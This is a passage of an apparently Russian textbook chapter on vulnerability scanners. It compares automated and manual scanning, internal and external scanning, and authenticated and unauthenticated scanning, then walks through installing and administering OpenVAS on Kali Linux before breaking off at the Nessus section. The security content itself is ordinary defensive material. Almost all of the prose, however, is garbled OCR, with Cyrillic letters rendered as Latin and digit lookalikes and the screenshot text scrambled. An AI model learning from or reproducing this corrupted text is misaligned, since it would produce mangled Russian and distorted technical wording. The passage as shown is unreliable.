U MOJKET BKJTIOYATD B cebs OTIpe/ieIeH e TOT0, KaKWe YSI3BUMOCTH SIBJISTIOTCST Ha-
GoJiee KPUTHYHBIMU, A TAKIKe MPETIOKEHUST IO UCITPABICHIIO OGHAPYIKEHHbBIX
YA3BUMOCTEH.

Ha camowm gerte CKaHePbI yH3BHMOCT€ﬁ TIPOCTO aBTOMATU3UPYIOT BCE TO, YTO MbI /1€~
JIaJIv J1O 9TOTO BPYYHYIO, U ITOJIy49alOT PEe3yJIbTaT HAaMHOTO 6bICTp6€. Kak u y 106010
APYToro MHCTPYMEHTA, Y CKaHEPOB yHSBI/IMOCTefI €CTb CBOM JOCTOMHCTBA U HEL0-
cratku. 1 ecim JIOCTOMHCTBaA O4€BU/IHbI, TO C HEJJOCTAaTKaMM HECKOJIBKO CJIOKHEE,
HEKOTOPbIE U3 HUX IIPUBEAEHDbI HUKE!

o JloxHomosoKuTebHbIe peayJabrarh (false positives). CkaHepbl MOTYT OHIMOOYHO
OIIPE/IEJINTD YSA3BUMOCTD, KOTOPAsl Ha CaMOM JieJie OTCYTCTBYET B cUCTeMe. JTO
IIPUBOJINT K [TOTEPE BPEMEHM U PecypCcoB Ha McCIeIoBaHNE U MCIIPaBIeHNE TTPe/l-
rojaraeMoi ya3BUMOCTH.

e JloxuoneratuBHbie pesysbraThl (false negatives). Ckanepbl MOTYT POy CTUTD
PEATHHO CYIIECTBYIONINE YSI3BUMOCTY 13-3a HEMOCTATKA TAHHDIX, OTMTHOOK B CHT-
HATypaX WM HECOBEPIIIEHCTBA METOIOB OOHAPY KEHUSI.

e OrpaHnyeHHOCTb 6a3bl JAaHHBIX ysa3BUMOcTel. CkaHepbl 0OHAPYKUBAIOT TOJIBKO
T€ YSI3BUMOCTHU, KOTOPBIE COEPKATCS B MX Oa3ax JaHHBIX. HOBbIE ySI3BUMOCTH,
etife He 100aBJIeHHbIE B 0a3y MaHHBIX, WU YSI3BUMOCTH, CHIEIIU(DUIHBIE JIJIST KOH-
KPETHOTO MPUJIOKEHUST, MOTYT OCTaThCSI He3aMeUeHHBIMU.

e OrcyrcrBue koHTekcTa. CKaHepbl MOTYT HE YUYHUTBIBATH KOHTEKCT, B KOTOPOM
paboTaeT cucTeMa UK MPUIOKEHHUE, a 9TO IIPUBOAUT K HENIPABUIBHOI OLIEHKE
PHCKOB MJIH TIPEJJIOKEHUIO HeCOOTBETCTBYIONNX PeKOMEeHIAIUH 110 UcIpaBie-
HUIO YS3BUMOCTEH.

e BimsHue Ha 11eJIeByIO cucTeMY. AKTUBHOE CKAaHUPOBaHKE YS3BUMOCTEl CIIOCOOHO
HeraTUBHO CKAa3aThCsl HA IIPOU3BOANTEIBHOCTU CUCTEMBbI, BBI3BAB IIPOOJIEMBI C [10-
CTYITHOCTbIO MJIU JIaske COOM.

CkaHepbl YA3BUMOCTEH TIPEACTABIISIOT COOON BasKHbBIIT HHCTPYMEHT, HO OHH HE sIB-
nstiorest manareeit. OHYM He MOTYT OGHAPYKUTD BCe THITBI YSI3BUMOCTEH, 0COOEHHO
HOBbBIE WJIU clielin(PUUHbIE /11 KOHKPETHOTO TUIIA IIPUJIOSKEHUS.

ABTOMATMYECKOE N PYYHOE CKaHMPOBaHWe

HemocraTkn ckanepoB 6e30macHOCTH MbI paccMoTpeau. Ho oM UMeroT u cBou
rnochl. [1epBoiii U, HaBEpHOE, CaMblil OYEBUIHBINA U3 HUX — OBICTPOTA, ¢ KOTOPOU
MPOUCXOJIUT CKAHUPOBAaHUE GOJBIITOTO KOJMYecTBa X0CTOB. /laxke ecii BbI cobepere
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XOPOTITYIO KOMaHy TPO(eCCHOHATOB, BPeMsI M 3aTPAThl HA PYYHOI TIOVCK YSI3BUMO-
creii GyLyT HEeCOMOCTABUMBI € TOM 11013011, KOTOPYIO IPUHECET KOHEUHBII Pe3yJib-
tar. Tem 6osee 94TO GOMBINAST YACTD YA3BUMOCTEH TOCTATOYHO GaHATbHA U XOPOTITO
M3BECTHA Pa3paboTINKaM CKAHEPOB.

BTOpOQ, MEHEE OUEBU/IHOE MTPEUMYIIECTBO — 9TO YMCHbIIECHNE o1mmnboK CKaHUpOBa-
HUA. CKaHep HE yCTaeT n pa60TaeT MCETO/IMYHO, ITO3TOMY OH BCEr/Ja BbIIIOJTHUT BCIO
pa60Ty A0 KOHIIQA, ITPOBEPUT KaX/AYIO YA3BUMOCTD U IO3BOJIMUT HE YIIYCTUTDb TO, YTO
MOJKET HE 3aMETHUTDb YEJIOBEK.

Haxkomnerr, TpeTbe IpenuMyIecTBO — aBTOMaTU3alsl CKaHUpoBaHusl. Takoil ckanep
criocobeH paboTaTh IO PACIIUCAHUIO, CIEAUTH 32 BCEll MH(DPACTPYKTYPOU U TIEPBBIM
3aMeTUTh POBIIEMbI, KOTOPbIE MOTYT TIOCTABUTH 11071 yrpo3y Gezonacuocts VC.

Opmmako He cTouT 3a0BIBATH U TIPO MTPEVMYIECTBA PYYHOTO CKAHUPOBAHIST:

o [ny6una amanm3za. PydHO MOWCK YSI3BIMOCTEH MO3BOJISIET CIIEIMATUCTAM TITyOsKe
HCCJIENIOBATH CUCTEMBI U TTPUTOKEHNS, OGHAPYKUBAST CTOKHBIE U CHIETU(pUYECKTE
VSA3BUMOCTH.

e Pabora B KOHTEKCTE. Py‘{HOIL/'I ITIOUCK yHBBI/IMOCTeﬁ YUUTBIBAET KOHTEKCT 1 ocoben-
HOCTHU CHUCTEMbBI UJIN TTPUJIOKEHNS, YTO 1TO3BOJISIET 6oJ1ee TOYHO OIIEHUTDb PUCKN
W IIPEAJIOKUTD MOAXOJAANINE PEIICHWA.

e OO6HapysKeHHe HOBBIX U HEM3BECTHBIX JI0 ATOTO YSI3BUMOCTEHH.

Kakoil u3 aT0ro MOKHO c/ie1ath BoIBOA? JIJist IOCTUKEHUS JIYUIIero Pe3yibraTa
HaM HeOOXOAUMO KOMOMHUPOBATH PyYHOE U aBTOMATUYECKOE CKAHUPOBAHUE, YTO
HOMOJKET IIOJIyYUTh HoJIee TOJTHYIO KaPTUHY, a TaKKe U30€KaTh HeJ0CTaTKOB 0601X
METOIOB, COXPAHUB IIPU 9TOM BCe IIPEUMYILECTBA.

CKkaHMpOBaHME 13 BHYTPEHHEWN
N BHELLHEN CEeTH

CKaHI/IpOBaHI/Ie Ha Hajinm4mne yHSBI/IMOCTeﬁ MOJKET IMMTPOBO/IUTHCA KaK U3 BHeIHHeﬁ, TaK
nuns3 BHyTpeHHeI;'I CEeTH, IIpniem KasK/IbIF U3 3TUX IIO/IXO/I0B UMEET CBOMN 0COGEHHOCTH
" IIpenMyniecTBa.

Buemnrnee ckanmpoBanue ys3BUMOCTEH TPOBOMUTCS € UCIIOJIb30BAHUEM CKaHEPa,
PACIIOJIOKEHHOTO BHE CeTH Opranu3aiuu. B aToM ciryyae ckaHupoOBaHUE UMUTUPYET
JeHCTBUS MOTEHIIMAIBHOTO 3JI0YMBIIICHHUKA, TIBITAIONIErOCd HAWTH 1 UCTTOIb30BATh
YS3BUMOCTH BO BHEITHEH WHPPACTPYKType opraHusanuu: eb-caifiTax, ceppepax,
(baitepBosiax u ceTeBBIX YCTPOICTBAX.

[Ipu TakoMm Mmoaxoje Mbl OIIEHUBAEM TOJIBKO T€ PECYPCHI, K KOTOPBIM Y HAC €CTh
noctyn us [106aJbHOI CeTH, a 3HAYWT, PE3YJIbTaT OHO3HAYHO HE OY/IeT MOJTHbBIM.
K tomy ke MbI HeU36€KHO CTOJIKHEMCS C BO3MOKHOCTHIO OOHAPY/KEHUST HATITUX
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JeiicTBUH, Beb BHENTHMH TpadUK HAXOAUTCS 110/ O0JIee MPUCTATbHBIM KOHTPOJIEM,
YyeM BHYTPeHHUI.

BuyTpennee ckanupoBanue ysi3BUMOCTEH ITPOBOIUTCS € UCIIOJIb30BAHUEM CKaHEePa,
PaCIoJIOKEHHOTO BHYTPU CETH OpraHusaluu. B aToM ciydyae ckaHupoBaHue Ha-
MPaBJIEHO Ha OOHAPYIKEHNE YA3BUMOCTEl BO BHYTPEHHEN MH(MPACTPYKTYPE, KOTOPBIE
MOTYT GBITh UCTIOIB30BAHBI 3I0YMBITIIEHHUKOM, YK€ UMEIOIIUM JIOCTYI K CETH.

[Tpu poBesienuy TAKOTO CKAHUPOBAHUS BPEMSI HA €r0 MCIOJHEHUe CYIECTBEHHO
cokpamiaetcd. Mbl MOKeM TakKe IPHU 3TOM 3aMyCTUTDb JOMOJTHUTEIbHBIE TECTBI
(nampumep, ARP-ckanupoBanue), KOTopbie B TPUHIIATIE HEBO3MOKHBI TPU CKAHU-
POBAHUM U3BHE.

C 11eJ1b10 JIOCTUKEHMST HAUJTYUIIEro Pe3yJibrata He0OX0MUMO KOMOMHUPOBATh Pas-
JINYHbBIE BapUAHThl CKAHUPOBAHUs, OJHAKO He 3a0bIBaiiTe, YTO HEKOTOPBIE TECThI
MOTYT IIPUBECTHU K OTKA3y CUCTEMBI, YeMY 3aKa34YUK TOUHO He 0OPayeTcsl.

AyTeHTU(PUHNLNPOBAHHOE
N HeayTeHTUMOULMPOBAHHOE CKaHNMPOBaHME

AyTeHTI/I(bI/IHI/IpOBaHHOG CKaHUPOBaHME O3HAYAET, YTO CKaHED yHBBI/IMOCTefI BbIIIOJI-
HAET IPOBEPKY C UCITOJIb30BAaHUEM YYETHBIX /ITaHHbIX (]IOFI/IHa n HapOJIH) JUIA JIOCTYIIa
K CUCTEMaM WJIN ITPUJIOKEHUSIM. ITO TIOMOTaeT CKaHepy IOJIYYUTb 6oJ1ble I/IH(l)Op-
MallM O CUCTEME U €€ KOH(t)I/II‘ypaIlI/II/I, a TaKyKe IIPOBEPUTDH YA3BUMOCTU, KOTOPbIE
MOTYT OBITh JIOCTYITHBI TOJIbBKO aBTOPHU30BaHHBIM I10JIb30BATEJISAM.

AyrenTrdupoBaHHOE CKAHUPOBAHIE TTIO3BOJISIET IPOBECTH HoJiee rryOOKIiH aHam3
CHCTEMBI U BBITIOJIHUTD T€ JEHCTBUST, KOTOPbIE HEJIOCTYITHBI OJIb30BATENO Oe3 ayTeH-
tudukanu. ITo, B CBOIO 0YEPE/Ib, TPUBEIET K YMEHBIIEHNIO KOJTMYECTBA JIOKHBIX
cpabaTbiBaHMii 1 ACT HOJIee TOYHBIE ¥ TIOJHbIE PE3YJIBTATHI.

HeayreHTudunnpoBanHOe CKAHUPOBAHUE YSI3BUMOCTEN BBITIOJIHSETCST O3 UCITIOJIb-
30BaHUsI YUETHBIX JaHHBIX. CKaHEp TbITaeTCst 00HAPYKUTH YSI3BUMOCTH, QHATU3UPYST
CUCTEMBI ¥ CETU C TOYKHU 3PEHUS MOTEHIIUAIBHOTO 3JI0YMBINIJICHHUKA, KOTOPBIH He
MMeeT aBTOPU30BAHHOTO JIOCTYTIA K PECypCaM.

OpenVAS

OpenVAS (Open Vulnerability Assessment System) — 9T0 MOIIHBINA GeCILIATHbIN
U OTKPBITHII UHCTPYMEHT JIJIsI CKAaHUPOBAHUSI MH(GOPMALIMOHHBIX CHCTEM C LEJIbIO 00~
HapyKkeHus ysiapumocteil. OH sIBJISI€TCS] OJTHON 13 CAMbIX TTOITYJISIPHBIX aJIbTEPHATUB
koMmMepueckuM perierussMm. OpenVAS ocHoBaH Ha ncxoiHOM Kojie Nessus, 0/HaKoO
€ MOMEHTA BBITYCKA €T0 EPBON BEPCHH ITPOU3OIILIN 3HAYUTETbHbIE U3BMEHEHWST 1 Ha
JaHHBII MOMEHT CKaHeD MIPeLOCTABJISIET COOCTBEHHbIN HAOOP (DYHKIIMIA.
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OpenVAS paspabarbiBaercs u npoasuraercsa kommnanueit Greenbone ¢ 2006
rojia. JABJSSICh YaCTHI0 KOMMEPUECKOTO CEMENCTBA MPOAYKTOB JIJIST YITPABICHUS
yassumoctsimu Greenbone Enterprise Appliance, ckanep BMecTe ¢ APyTUMHU MO-
IYJISIME C OTKPBITHIM MCXOAHBIM KOZOM BX0AUT B ipoaykT Greenbone Community
Edition.

OpenVAS ucniosibayer 6oJibInyi0 6a3y JaHHBIX CUTHATYP YSI3BUMOCTEH, a TJIaBHOE,
PEryJISIpHO ee 0GHOBISET, YTO TIO3BOJISIET CBOEBPEMEHHO 0OHAPYKUBATE caabbie
MecTa B HHPPACTPYKTYPE.

Jlanuplii npoaykT obnazaer GOJIBIINM MOTEHIMAIOM MACIITabUpPyeMOCTH, TO €CTh
MOZKET CKaHMPOBATh GOJIBIINE CETU U OJAHOBPEMEHHO paboTaTh CO MHOKECTBOM
YCTPOMCTB, 9TO 3HAYNTETHHO OOJIETYAET €T0 MPUMEHEHHE TPU paboTe ¢ CUCTEMAMK
GOJIBIIOTO pasMepa.

OpenVAS nMeer MHOKECTBO HACTPOEK, THOKYIO KOH(MUIYPAIUIO, a TaKyKe IO/ -
JIEPKUBAET 3HAYUTEIHHOE KOJMYECTBO TIIIATUHOB, B TOM YHCJIE TI0JIb30BATEIbCKIX.
Etite o001 mo1e3HO# (hyHKITHEH ABISIETCST CO3/IaHIe TIOAPOOHBIX OTYETOB O Hali-
TeHHBIX YSI3BUMOCTSX, BKJIIOUAs UX ONMCAaHWe, BO3MOKHBIE PUCKH U Mpe/IoKe-
HUS 10 UX UcTpaBiaeHnio. OTYeThl MOTYT OBITH 9KCIIOPTUPOBAHBI B PA3JIUTHbIE
(opmatsr.

YcTaHoBKa

CyiectByer HeckoJbKo BapuanTos ycranosku OpenVAS, B Tom umciie kak Docker-
KoHTeitHep. OHAKO caMbIii TIPOCTO# 1 OBICTPHII crtocob Hauath paboTy ¢ OpenVAS —
YCTaHOBHTH €ro U3 oduimanbHoro pernosuropus Kali Linux.

Komanpna nist yeranosku OpenVAS:

$sudo apt install openvas

Cuepytrormum maroM OyieT 3amycK yCTaHOBIMKA, KOTOpbIit HacTpouT OpenVAS
u 3arpysut cambie cBeskue curHarypsl NVT (Network Vulnerability Tests). M3-3a
6oubioro kojmyectBa NVT (6osiee 50 ThICsSU) 9TOT MIPOLECC MOKET 3aHSTh HEKO-
TOpOE BPeMsl.

[lns1 3ammycka mpoiecca yCTaHOBKH BBITTOJIHUTE CJIETYIONTYI0 KOMAHIY:

$sudo gvm-setup

[Tocne ycTaHOBKM MOKHO MPOBEPUTH KOPPEKTHOCTH MPOU3BEEHHON ONepannu
KOMaH/I0M:

$sudo gvm-check-setup

Terepb, yOeIUBIINUCH, YTO BCE UIET 0 3apaHee HAMEYEHHOMY TLIAHY, Mbl MOKEM
MPUCTYTUTH K paboTe B MOIB30BATETBCKOM HHTEpdeiice. [l 1ocTya K MaHe



OpenVAS 189

ylpaBjieHus BBeauTe B Gpaysepe aapec localhost:9392. MM mosbzoBaTesist admin,
apoJib GBI CrEHEPUPOBAH ABTOMATHYECKH BO BpeMst yCTaHOBKHY (puc. 6.1).

4 Greenbone Security Assi % + - o x

-« 2 C 0 Q & o hipsilocalhost:9392/agin o @ & &
" Kali Linux @ kali Tooks [ Kali Docs S, Kali Forums 3 Kali NetHunter s Exploit-DB = Google Hacking D8 L offSec

é Greenbone

Sign in to your account

Usermarme
admin

Passwoed
|EEARAE AR R AR

SOURCE
EDITION

Puc. 6.1. MepBoe noakntoyeHne k OpenVAS

AaMnHucTpuposaHue OpenVAS

OpenVAS, HeCMOTPS Ha €50 KasKyILyIOcs IIPOCTOTY, IIPEACTABJIIET cO00I1 JOCTaTOYHO
CJIO’KHBIH, MOIITHBIN 1 MHTEPECHBIN MHCTPYMEHT, 3HAKOMCTBO C KOTOPBIM HauHEM
C AIMUHUACTPATUBHON YaCTH.

O6HoBNEHUSA

OOGHOBJICHUST SIBJISTIOTCSI OJTHON M3 CaMbIX KPUTHYECKUX YacTell cucTeMbl. Ecii Bbl
He GyJeTe peryJsipHo OOHOBJISITH CUCTEMY, TO TIOJYUUTE PE3YIIBTATHI JOCTATOTHO
HU3KOTO KAauecTBa, He OTPAKATOIIIe PeaThbHOTO MOoJIoXKeHus fest B Heil. [IpoBeputh
COCTOSIHUE CUTHATYDP MOKHO depes BeO-unTepdeiic (puc. 6.2), a 00HOBJIEHUE BbI-
TTOJTHUTD CJIe/IyTOTIEN KOMaHIOM:

$sudo openvas-feed-update
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Dashbaards Resilience Canfiguration Admiristratien
@
:-\\ Feed Status
Type Content arigin Wersion Status
Greenbone Community -
T Agh e s J07I0508TIO0N Current
OF e, CFE Greenbone Community
SCAP 7 CVEs o CPES SCAP Feadd 0230508T0510  Update In progress
o, 1 13 Gresnbone C
CERT {7 CERT-Bund Advisories ﬂl DFN-CERT Advisories jeblagerg e J07I0508T0406  Update in progress...
N Compliance Fart g Report Scan ommunity -
wmo_owia [, SR vists [l Formars Corfigs  qumd Data Fead Update In prograssa
hitps:flocalhos:a392 M eedstatus Grewnbore Sacurity ) 3005 , Gmbik, et

Puc. 6.2. Cratyc curHatyp (Administration » Feed Status)

YnpasneHve nonb3oBaTensMm

OpenVAS umeeT KJIUEHT-CEPBEPHYIO APXUTEKTYPY, YTO TO3BOJISIET UCIIOJIH30BATh
€T0 OJTHOBPEMEHHO HECKOJIbKIM I0JIb30BaTesIsIM. B aiMnHNCTPATUBHON YacTH MOK-
HO yNpaBJsTh moJb3oBaressivmu (Administrator » Users), 00beAMHSATD WX B TPYIIIIBI
(Administrator » Groups), a Tak’Ke TIpUCBaUBaTh UM OTIpe/leJIEHHbIE TTPABa, YTO BAXKHO
IS 0becTieyeHust TPUBATHOCTH.

Jlnst 6ostee yobHOTO yripaBieHus npaBamu goctyna B OpenVAS cyiecTByer Bo3-
MOKHOCTB co3/ianus posieit (Administrator » Roles), koTopble B faibHEHIIEM MOKHO
MIPUCBANBATh TOJIb30BaTe M (puc. 6.3).

NHpopmaumoHHas naHenb (dashboard)

OpenVAS umeeT X0poIio HacTpanBaeMmyio HH(GOPMAIMOHHYIO MaHe b (puc. 6.4),
KOTOPAst 110 YMOJIYAHUIO SIBJISIETCSI JIOMaIHell cTpanuiieii nosp3oBaress. [lanesnb
MHCTPYMEHTOB TIPeIJIaraeT IeHTPAIN30BaHHOE MTPEJICTaBIeHue 3a/1a4, X0cToB, NVT
u T. 1. Bee mipe/ictaBieHHbIe TaHHbIE MOKHO SKCIIOPTUPOBaTh B (hopmare CSV.

[naHWpoBLLMK 3a4a4

[Tpu paboTe ¢ KOPIIOPATUBHBIMHU KINEHTAMHU MOXKET BO3HUKHYTH CUTYaI[Hs, KOT/Ia
notpebyercs 3aIyCcTUTh CKaHUpoBaHue BHe pabouero Bpemern. Co3/aBaTh Takue
3aIIAaHIPOBAHIbIE TECThI MOKHO B paszesie Configuration » Scedules (puc. 6.5).
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Puc. 6.3. Co3gaHne HOBOro nosb3oBaTens
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Puc. 6.4. lHdopmMaLmoHHas naHenb
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Puc. 6.5. Co3naHune HOBOW 3aaun

Kop3uHa

Ecam BbI cayuaiino ypamman kakoid-mu6o us anementos OpenVAS (pesysibrar, 3a-
J1auy, MoJIb30BaTe sl U T. JI.), BOJTHOBATHCST HE CTOUT — BCET/Ia MOKHO JI0OCTaTh HEOO-
XO/IMMBIN 9JIeMeHT 13 KOp3uHbl (puc. 6.6), Hali/isl €ro B COOTBETCTBYIOIIEM Pasieie
(Administration » Trashcan).

Mouck ya3BMMOCTEN

Tenepp, korga OpenVAS HacTpoeH u paboTaet, a CUTHATYPbl 0OHOBJIEHBI /10 TIOCTIE/I-
Hell BepCun, BbI MOKETe TIPUCTYTIUTh K CKAaHUPOBAHUIO PeabHOM 1. B Tpermnpo-
BOUHBIX TI€JISIX MBI TIPOCKAHNPYEM CHCTEMY, B KOTOPOH YCTAaHOBJIEHO TIPUJIOKEHNEe
¢ Maccoi ysa3Bumocteit. /[y cozianms cBoelt epBoi 3a/1a4u OTKPOUTE MOJIh30Ba-
reabckuii OpenVAS. Tenepb Bbl MOKeTe BBIOPaTh, KAKOI MacTep 3ajay 3allyCTUTh —
rpoctoii (Scan » Task » Task Wizard) wiu paciupennsiii (Scan » Task » Advanced Task
Wizard), B KOTOPOM MOKHO yKasaTh O0JIbIiiee KOJMYECTBO apamMeTpoB. Uto6bl Hauath
€ TIPOCTOTO BapUaHTA, BaM HYKHO JIUIIb BBeCTU [P-ampec e u HaxkaTh KHOMKY
Start Scan (puc. 6.7).
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Puc. 6.6. Kop3snHa

& Greenbone Secunty Asse X 4
€« 2 Cc0 Q & o hupsiiocalhost9392asks
", Kali Linux 8 Kali Tools [0 Kali Docs ", Kali Forums Y Kali NetHunter & Exploit-DB % Google Hacking DB L ONlSec

Quick start: Immedintely scan an [P address

[ | 127001 |
Thi hotisull Ak i=5 1 @il YOUE COMPUIST OF YOUr fehwork galiwiry,
A5 A short-cut the folawing steps will be done for you:

3. SHart thés scan task right away

As s00n as the scan progress is bayond 1%, you can already jump (o the scan report by clicking on the progress
ol 50 T,

b i1 (e “SLANLET cokImn and v e iesuss
The: Target and Task " gured in "My Setings”.
By clicking e New Task icon [ you can create a new Task yoursef.

Pwuc. 6.7. 3anycKk nepsBoro CkaHMpoBaHUS

e I
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IIpu BBIGOpE PacHIMPEHHOrO MacTepa CKAHNPOBAHMS TOMHIMO TIPOYMX MaPAMETPOB
MO’KHO 3aaTh Ipoduan ckaHupoBanus. [Ipoduan ckaHUuPOBaHUSI TTO3BOJISIOT
yKasaTh CHCTEMe, KaKO crieHapuii Gy/ieT ucnoab3oBarhbes. [lo yMoryaHuio Beer/a
BeIOUpaeTcst mpoduib «moyHoe u 6pictpoes> (Full and fast), ator ke mpoduis uc-
M0JIb3YETCsT B IPOCTOM MacTtepe 3ajiad. [Toka Mbl K€M OKOHYAHUsI PE3YJIbTaTOB
CKaHMPOBAHUS, KPATKO PACCMOTPUM JAPYTUe MPOGUIIH:

e Ilycroit (Empty). IlycToil mabioH, HUY4ero He CoAepKaIIUMA, KOTOPBI MOXK-
HO KJIOHUPOBATb M MCIIOJIb30BaTh JJIS CO3/IaHUsl MHAMBUYATbHOH KOHDUTY-
parum.

e DBasosbiii (Base). [IpuMeHSIOTCS TOJNBKO T€ KOMIIOHEHTbI, KOTOPbIe COOUPAIOT
uHMOPMAIHIO 0 1eJIeBOi crcTeMe, 6e3 0GHAPY/KEHUs YSI3BUMOCTEA.

e lccnenosanue (Discovery). IIpumMeHSI0OTCS KOMIIOHEHTBI, ITPE0CTABISIONIIE
UHGOPMAIIHIO O I[eJIEBOH crcTeME. YI3BUMOCTH He 0OHapy:kuBatoTcst. CoOpaHHast
uHGOPMAIUS COAEPIKUT CPEHU TIPOYETO JJaHHBIE 00 OTKPHITHIX TOPTAX, UCIIOJIb3Y-
eMoM 0bopypoBaHui, haiiepsoJiax, cayskbax, OC, ycTaHOBIEHHOM IIPOrPAMMHOM
obecrieuernu u ceprudukarTax. [IpuMeHsieTcst CKaHep TOPTOB.

e Tlosnoe u 6picTpoe ckanuposanue (Full and fast). CranmaptHbiii mpoduib, mc-
TOTb3YEMBIiT JIJTsT TIPOBEIEHNsT OBICTPOTO U BCEOOHEMITIOIETO CKAHMPOBAHUS.
Omn BrTIOYaeT GOJMBITMHCTBO TECTOB W 0OECTIEUNBAET XOPOIIHH HGATAHC MEKTY
TOYHOCTBIO U CKOPOCTHIO.

e Tlounoe u rimy6okoe ckanuposanue (Full and deep). ITpexocrasisier camoe Tia-
TeJIbHOE CKAaHUPOBaHUE, BKJIIOYast BCE TECThI U MIPOBEPKH HA IITyOOKOM YPOBHE.
OnHako Takoe CKaHUpPOBaHue TpedyeT 3HAYUTETLHO (OJIbIEe BPEMEHH U MOKET
YBEJMYUTH HATPY3KY Ha CUCTEMY.

e lccrenosanne xocta (Host Discovery). Mcnomb3yeTcst /17151 niccyie/joBaHus XO-
CTOB, YA3BUMOCTH HE 0OHAPYIKUBAIOTCS.

e Uccnenosanue cucteMnl (System Discovery). Vcnonbayercs s uccyieoBaHus
IEJIEBBIX CUCTEM, BKJTIOUAs YCTAHOBJIEHHBIE OTIEPAIMOHHBIE CHCTEMbI U 000PY/10-
BaHUe, yA3BUMOCTH He OOHAPYKIBAIOTCS.

ITocJie 3aBeplieHns CKaHUPOBAHKA MepelianTe B pases Scans b Results, uToObI Ipo-
CMOTPETh OOHAPY KEHHbIE YSI3BUMOCTH. BbI MOJKETE ITPOCTO TIPOCMOTPETH PE3YJIBTAThI
ckanupoBanus B BeO-korcoan OpenVAS (puc. 6.8) wiu 3arpysuts moapoOHbIit OT-
deT B BBIOPaHHOM (hopmare. TakKe eCTh BO3MOKHOCTD OT(IIBTPOBATD PE3YILTATHI
CKaHUPOBAHUS 110 PA3JIUIHBIM ITapAMETPaM.

[oNONHUTENbHbIE HACTPONKK

Mbri pacemotTpesin 6a3oBbie (hYHKIMHU, HO 3TO elile He MosiHoe 3HakoMcTBO ¢ OpenVAS.
Jlasiee Mbl yruryOUMCcst B €ro KOH(GUTYPAIIUIO ¥ PACCMOTPUM HEKOTOPBIE MOMEHTBI,
KOTOpbIe He CTOUT YIYCKATh U3 BUIY BO BPeMsI IIPOBEJIEHUST TECTOB 32 IPellesiaMi
BUPTYaIbHON JTaGOPaTOPUH.
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Puc. 6.8. Pe3ynbTaThl CKaHMPOBaHUS

BbicTpoaencTaue

OpenVAS, 6e3yCITOBHO, SIBJISIETCST PECYPCOEMKUM HHCTPYMEHTOM, OH MOJKET TTIOTPEOIISATh
JIOCTaTOYHO MHOTO MAMSITH | TIPOIIECCOPHOTO BpeMeH. [ToaTtomy, cKaHUpyst OOJIbIITE
CHCTEMBI, CTOUT CJIEAUTH 32 HArpy3Koi. YToObI IPOCMOTPETh JAHHBIE O TIPOU3BOUTEb-
HOCTH, TiepeiiuTe B paszen Administration » Performance. B aTom pasjiesnie Bbr MoskeTe
IPOCMATPUBATh OTYETHI O IIPOU3BOIUTEIBHOCTHU 32 ONPEIeIEHHDIN MEePUO/] BpeMEeHU.

Kanbkynsatop CVSS

MbI yiKe paccMaTpUBAIU OQMH U3 TAKUX KAJIbKYJIATOPOB PaHee, II09TOMY He Oyaem
MOBTOPHO yriaybssarbes B noapobHocT. Kanbkyssrop OpenVAS (puc. 6.9) naxo-
nutcd B paszese Help » CVSS Calculator.

Hactponku

Kak 661710 ckazano Boite, OpenVAS sBJIsSIETCS CHCTEMOM, KOTOPYIO MOKHO OYeHb
TOHKO HacTpouTh. JlocTyI KO BceM HacTpoiikaM HaxomauTcst B MeHio Configurations.
Kondurypuposats npeparaercs Takie mapaMeTpbl, Kak 11eJ1, CITUCOK MOPTOB,
HmapaMeTpbl I0CTYTIa, MapaMeTPbl CKaHUPOBAHS, YBEAOMJICHsI, (hOPMAThI OTYETOB,
uabrper u T. 1.
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sovority [T
Sreenhane (5 qhe () 7009 " Merwnries Ganin, 1

Puc. 6.9. Kanbkynatop CVSS

OT1yeThl

[TocJie 3aBepIIeHNs CKAHUPOBAHKS JIJTsE CO3/IAHMST TATbHENIITEro oTdeTa BamM HeoOX0-
JIAMO KCIIOPTUPOBATH pe3yabraThl. Open VAS mojiep:kBaeT MHOKECTBO (DOPMATOB
OTYETOB, CPEJIN HUAX:

XML;
CPE;

CSV Hosts;
CSV Results;
HTML;
LaTeX;

NBE;

PDF;
Topology SVG;
TXT.
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Yto6BI cO3MaTh OTYET B HYKHOM (hopMmare, mepeiiinTe B paszen Scans » Reports,
OTKPO¥iTe HYKHBII OTYeT U HaxkmuTe KHOTKY download. Ilocsie aToro BBI cMOskeTe
BBIOPATH HYsKHBII (hopmat otyera (puc. 6.10).

| & Greenbaone Security Assi % | + = E

¢« > 0@ T & o hups b 49 & v &
", Kali Linux 89 Kali Tools [ Kali Docs %, Kall Forums 38 Kall MetHunter % ExploitDB = Google Hacking DB L OffSec

I

include  + Netes ¥ Ovemdes | TLS Cerificates
Report Farmat | Anoaymous XML ¥

E=l B,

Puc. 6.10. lNonyyeHune otyeTa

Nessus

Nessus — 3TO OAAMH U3 CaMbIX MOIMYJISIPHBIX U IHPOKO MCIOIb3YEMBIX CKAaHEPOB
ySI3BUMOCTEN B WHAyCcTpUK KrbepbesomactocTr. Nessus pazpaboran KoMIaHuei
Tenable Network Security u nipesinastaden st o0OGHAPY/KEHUsT YA3BUMOCTEH B Pas-
JIMUHBIX cepBepax (web, mail, Idap u T. 11.), ceTeBBIX yCTPOUCTBAX U MPUIOKEHUSX.
ITOT NHCTPYMEHT ITO3BOJISIET OPTAaHU3AIISIM aHAJIU3UPOBATH COCTOSTHIE WX NH(DOP-
MAITHOHHBIX CUCTEM, BBIBJISITh U YCTPAHATD YSI3BUMOCTH.

Nessus obecrieunBaeT NIMPOKUI CIIeKTP (DYHKIINH, BKIIOYasT:

® obHapysKeHHe U CKAHUPOBAHWE YSI3BIMOCTEH B PEKUME PEATbHOTO BPEMEHT;

e ayzauT KoH(UTypanuil 1 IPOBEPKY HA COOTBETCTBUE CTAHAAPTAM U PEKOMEH/a-
IUAM 110 6Ee30MacHOCTH;

® o0OHapysKeHHe YyIPo3, CB3aHHBIX C YUYETHbIMU TaHHBIMU;
® OIeHKY 6e30MacHOCTH BeO-TTPHUIIOKEHUI;

MHTETPAINIO C IPYTUME CUCTEMAMU W MHCTPYMEHTAMHU JIJIS YIIPABJICHUS YSI3BU-
MOCTSIMU 1 06PabOTKY MHITUIEHTOB,
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Nessus npeziaraer 6ecriarHyro Bepenio (Nessus Essentials) st HeGoJbImx opratu-
3alMil ¥ JIMYHOTO UcHob30Banus. [lnaTHag Bepcus nocTaB/seTcs ¢ J0MOJIHUTEb-
HBIMU (DYHKIUSMEI ¥ BO3MOKHOCTAMU JIJIst obecriedeHus Ge30MacHOCTH KPYITHBIX
MPeANPUATHI U KOPIIOPATUBHBIX ceTell.

YcTaHoOBKa

K coxasennto, Nessus He BkiroueH B perosuropuil Kali Linux, a 3HaunT, ycTaHOBUTH
